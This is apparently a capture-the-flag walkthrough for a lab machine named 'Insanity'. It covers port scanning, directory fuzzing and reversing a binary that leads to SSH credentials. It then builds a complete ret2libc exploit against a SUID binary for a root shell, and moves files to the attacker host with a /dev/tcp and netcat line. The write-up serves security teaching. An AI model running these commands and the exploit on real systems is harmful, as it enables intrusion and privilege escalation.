Skip to main content

Insanity

export TARGET_IP=172.17.0.2
sudo nmap -p0- $TARGET_IP
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Trying to access http://172.17.0.2 we realize:

/etc/hosts
172.17.0.2      insanity.dl

There is a comment at the bottom of the HTML source code:

<!-- Subdominio?? -->
<!-- Tal vez fuzzing??? -->
<!-- O capaz ninguno... -->
feroxbuster -u 'http://insanity.dl/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt -t 200
301      GET        9l       28w      310c http://insanity.dl/tinyp => http://insanity.dl/tinyp/
200 GET 6l 85w 16521c http://insanity.dl/tinyp/libcredenciales.so
200 GET 17l 158w 18941c http://insanity.dl/tinyp/secret

In http://insanity.dl/tinyp/ we found 2 files

wget http://insanity.dl/tinyp/libcredenciales.so
wget http://insanity.dl/tinyp/secret

Reverse Engineering using Ghidra

After analyzing main function from secret and g, a, b functions from libcredenciales.so we could conclude that:

secret is designed to first verify a password. If correct, it dynamically loads a library (libcredenciales.so). Inside this library, a function decodes a hidden URL and uses wget to download a file from that URL.

Here is a representation in Python code of what is going on:

decode_url.py
def a(param_1):
"""
Transforms an integer based on specific rules.

Args:
param_1: The integer to transform.

Returns:
The transformed integer.
"""
if 1 <= param_1 <= 0x1a:
return param_1 + 0x60 # Map to lowercase ASCII letters
elif param_1 == 0x1b:
return 0x3a # ':'
elif param_1 == 0x1c:
return 0x2f # '/'
elif param_1 == 0x1d:
return 0x2e # '.'
elif param_1 == 0x1e:
return 0x5f # '_'
else:
return 0x3f # '?'


def b(data, length):
"""
Transforms a list of integers using function 'a' and returns a string.

Args:
data: A list of integers.
length: The number of integers to process.

Returns:
A string formed by the transformed characters.
"""
result = ""
for i in range(length):
result += chr(a(data[i]))
return result


def decode_url():
"""
Decodes the hidden URL from the 'undefined4' variables.

Returns:
The decoded URL.
"""
# The 'undefined4' variables from the 'g' function
data = [
8, 0x14, 0x14, 0x10, 0x1b, 0x1c, 0x1c, 9, 0xe, 0x13, 1, 0xe, 9, 0x14, 0x19,
0x1d, 4, 0xc, 0x1c, 0x15, 0xc, 0x14, 0x12, 1, 0x1e, 0x13, 5, 3, 0x12, 5,
0x14, 0x1e, 6, 0xf, 0xc, 4, 5, 0x12, 0xb, 0xd, 1
]

# Decode the URL
decoded_string = b(data, len(data))

# Construct the full URL
filename = "2334645634646.txt"
full_url = f"{decoded_string}/{filename}"

return full_url


def main():
"""
Main function to demonstrate the URL decoding.
"""
url = decode_url()
print(f"The decoded URL is: {url}")


if __name__ == "__main__":
main()
python3 decode_url.py
The decoded URL is: http://insanity.dl/ultra_secret_folderkma/2334645634646.txt
wget http://insanity.dl/ultra_secret_folderkma/2334645634646.txt
cat 2334645634646.txt
Credenciales de ssh
maci:CrACkEd
ssh maci@$TARGET_IP
find / -type f -perm -4000 2>/dev/null
/opt/vuln
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/sudo

Reverse Engineering PART 2

First send the binary to the attacker machine:

Attacker Machine
nc -lnvp 4444 > vuln
Victim Machine
cat /opt/vuln > /dev/tcp/172.17.0.1/4444

After analyzing the functions using Ghidra we conclude:

The Vulnerability: gets()

  • gets(local_88);: This line in the vuln function is the source of the vulnerability. The gets() function is infamous for being inherently unsafe and a major cause of buffer overflows.
  • How gets() Works: gets() reads input from standard input (stdin) and stores it into the character array pointed to by its argument (local_88 in this case). It reads until it encounters a newline character (\n) or the end-of-file (EOF).
  • The Problem: gets() does not check the size of the buffer it's writing to. It blindly copies input into the buffer, regardless of whether the input is longer than the buffer's allocated space.

The Buffer: local_88

  • char local_88[128];: This line in vuln declares a character array named local_88 on the stack. This array can hold 128 bytes.

The Overflow:

  • If a user provides input to gets() that is longer than 127 characters (remember, you need one space for the null terminator \0 at the end of a C string), gets() will write past the end of the local_88 buffer.
  • This overwrites data on the stack beyond the allocated space for local_88.

Consequences of the Overflow:

When the buffer overflows, the following can happen:

  1. Overwriting Return Address: The most critical consequence is that the attacker can overwrite the return address stored on the stack.

    • When vuln finishes, the program uses the return address to know where to continue execution (back in the main function).
    • If the attacker overwrites the return address with a carefully crafted value, they can redirect the program's execution flow to a different location.
  2. Code Injection: By overwriting the return address, the attacker can potentially redirect execution to:

    • Shellcode: A small piece of malicious code injected into the program's memory (often within the overflowing buffer itself or elsewhere on the stack). This shellcode could be designed to execute a shell (e.g., /bin/sh), giving the attacker a command prompt on the vulnerable system.
    • Existing Code (Return-to-libc): The attacker could redirect execution to existing functions within the program's loaded libraries (like libc). For instance, they might jump to the system() function with a pointer to a string like "/bin/sh" in memory, achieving the same effect as executing shellcode.
  3. Data Corruption: Even without code injection, overwriting data on the stack can corrupt other variables or program state, leading to crashes or unpredictable behavior.

setuid(0) and setgid(0): Increased Risk

  • setuid(0); and setgid(0); in the main function make this vulnerability even more dangerous. These calls set the effective user ID (UID) and effective group ID (GID) to 0, which corresponds to the root user (the superuser with the highest privileges).
  • Root Privileges: If an attacker successfully exploits the buffer overflow in vuln, and the program is running with root privileges because of setuid(0) and setgid(0), the injected code (or the system() call in a return-to-libc attack) will also execute with root privileges. This gives the attacker complete control over the system.

Mitigation

  • Never use gets()! It should be completely avoided.
  • Use fgets() instead: fgets() is a much safer alternative because it takes an additional argument specifying the maximum number of characters to read, preventing buffer overflows:
  • Stack Canaries: Compilers can add stack canaries, which are special values placed on the stack before the return address. Before a function returns, the canary is checked. If it has been modified (due to a buffer overflow), the program terminates, preventing the execution of injected code.
  • Address Space Layout Randomization (ASLR): This is an operating system-level security feature that randomizes the memory locations of important data structures, including the stack. This makes it harder for attackers to predict the addresses they need to overwrite to inject code successfully.
  • Non-Executable Stack (NX/DEP): Another OS-level feature that marks the stack as non-executable, preventing the execution of code directly from the stack.
  • Input Validation: Always validate user input to ensure it's within expected lengths and formats.
python -c "from pwn import *; print(ELF('./vuln').checksec())"
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

RELRO (Partial RELRO):

  • RELRO stands for RELocation Read-Only
  • Partial RELRO means some sections of the GOT (Global Offset Table) are read-only but not all
  • This still leaves the GOT open to potential overwrites in certain sections
  • Full RELRO would make the entire GOT read-only after relocation

Stack (No canary found):

  • Stack canaries are random values placed between buffer variables and control data
  • The absence of a stack canary means buffer overflows are easier to exploit
  • There's no "canary" value to detect stack corruption before a return is executed

NX enabled:

  • NX means "No eXecute"
  • This is a positive security feature - the stack is not executable
  • You can't directly execute shellcode placed on the stack
  • This means exploitation typically requires techniques like ret2libc or ROP chains

PIE (No PIE, 0x400000):

  • PIE stands for Position Independent Executable
  • No PIE means the binary loads at a fixed address (0x400000)
  • This makes it easier to exploit as the addresses are predictable

Stripped (No):

  • The binary is not stripped of symbols
  • This means debug symbols and function names are still present
  • Makes reverse engineering and exploitation easier

Check ASRL (deactivate if necessary with sudo sysctl -w kernel.randomize_va_space=0):

cat /proc/sys/kernel/randomize_va_space 
# 0

ret2libc Exploitation Technique

The ret2libc (Return to libc) technique is a common method used in binary exploitation to bypass security mechanisms like NX (No-Execute) or DEP (Data Execution Prevention). Instead of injecting and executing shellcode directly, this technique leverages existing functions in the C standard library (libc) to execute malicious actions, such as spawning a shell.

Load the Vulnerable Binary in pwndbg:

chmod +x vuln
pwndbg vuln

Objective:

  • Exploit a buffer overflow vulnerability to execute a shell using functions from the libc library, such as system().

Finding the Offset

To exploit the buffer overflow, we need to determine the offset (the number of bytes required to overwrite the return address).

Steps:

  1. Generate a Cyclic Pattern:

Use a tool like pattern_create from Metasploit to create a unique pattern of 400 bytes:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400

Output:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
  1. Run the Binary in pwndbg with the Pattern:
pwndbg
r

Input the generated pattern when prompted.

  1. Analyze the Crash:

When the program crashes, pwndbg will display the segmentation fault and the return address that was overwritten. For example:

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401189 in vuln ()
  • The return address (RIP) is overwritten with part of the pattern.
  • ret is in <0x3765413665413565>, we will get the offset using that direction.
  1. Calculate the Offset:

Use pattern_offset to find the exact offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x3765413665413565

Output:

[*] Exact match at offset 136
  • The offset is 136 bytes.

Buffer Overflow test:

python -c 'print("A"*136 + "BBBBBB")'
Escribe tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
RIP 0x424242424242

When you input a long string of (136) "A"s followed by (6) "B"s, the program crashes with a segmentation fault because the "B"s (0x42424242) overwrote the return address.

This indicates the program is vulnerable to buffer overflow, and you have control of the instruction pointer (RIP). Since you managed to control RIP, this could be exploited using techniques like ret2libc or ROP chains.


Finding Key Addresses in libc

warning

We already have the offset, FROM NOW ON IT CONTINUES FROM THE VICTIM MACHINE

To perform the ret2libc attack, we need the addresses of:

  • The string /bin/sh.
  • The system() function.
  • A ret gadget for stack alignment.
  • A pop rdi; ret gadget to set up the first argument for system().

Steps:

  1. Find /bin/sh:

Use GDB to search for the /bin/sh string in memory:

Victim Machine
gdb /opt/vuln
gdb
(gdb) r
# Provoke Segmentation fault
(gdb) find &__libc_start_main,+9999999,"/bin/sh"

Output:

0x7ffff7f73031
  • The address of /bin/sh is 0x7ffff7f73031.
  1. Find system():

Use GDB to print the address of the system() function:

gdb
(gdb) p system

Output:

$1 = {int (const char *)} 0x7ffff7e29490 <__libc_system>
  • The address of system() is 0x7ffff7e29490.
  1. Find ret Gadget:

Use ROPgadget to find a ret instruction:

(gdb) quit
ROPgadget --binary ./vuln | grep "ret"

Output:

0x0000000000401016 : ret
  • The address of the ret gadget is 0x401016.
  1. Find pop rdi; ret Gadget:

Use ROPgadget to find a pop rdi; ret gadget:

ROPgadget --binary ./vuln | grep "pop rdi"

Output:

0x000000000040116a : pop rdi ; ret
  • The address of the pop rdi; ret gadget is 0x40116a.

Building the Exploit

Using the gathered information, we can construct a Python script to exploit the vulnerability. You can write it using nano inside a directory you have access to write in like /tmp or your /home (find / -type d -writable 2>/dev/null).

exploit.py
from pwn import *

# Load the binary
binary = ELF('/opt/vuln')
p = process('/opt/vuln')

# Addresses
pop_rdi_ret = 0x40116a # pop rdi; ret gadget
bin_sh = 0x7ffff7f73031 # Address of "/bin/sh"
ret = 0x401016 # ret gadget for alignment
system = 0x7ffff7e29490 # Address of system()

# Payload construction
offset = 136 # Offset to overwrite RIP
payload = b"A" * offset # Padding
payload += p64(pop_rdi_ret) # Load "/bin/sh" into RDI
payload += p64(bin_sh) # Argument for system()
payload += p64(ret) # Align the stack
payload += p64(system) # Call system()

# Send the payload
p.sendline(payload)
p.interactive()

Explanation of the Payload:

  1. Padding (A * offset): Fills the buffer until the return address is overwritten.
  2. pop rdi; ret Gadget: Loads the address of /bin/sh into the rdi register (first argument for system()).
  3. Address of /bin/sh: The argument passed to system().
  4. ret Gadget: Ensures proper stack alignment before calling system().
  5. Address of system(): Calls the system() function to execute /bin/sh.

Executing the Exploit

Run the Python script:

python3 exploit.py

Expected Output:

[*] '/opt/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/opt/vuln': pid 891
[*] Switching to interactive mode
Escribe tu nombre: $ id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(maci)
$ whoami
root
  • The exploit successfully spawns a shell with root privileges.

Summary of the ret2libc Technique

  • Buffer Overflow: Overwrite the return address to redirect execution.
  • Gadgets: Use ROP gadgets like pop rdi; ret to set up function arguments.
  • libc Functions: Leverage existing functions like system() to execute commands.
  • No Shellcode: Avoids injecting shellcode, bypassing NX/DEP protections.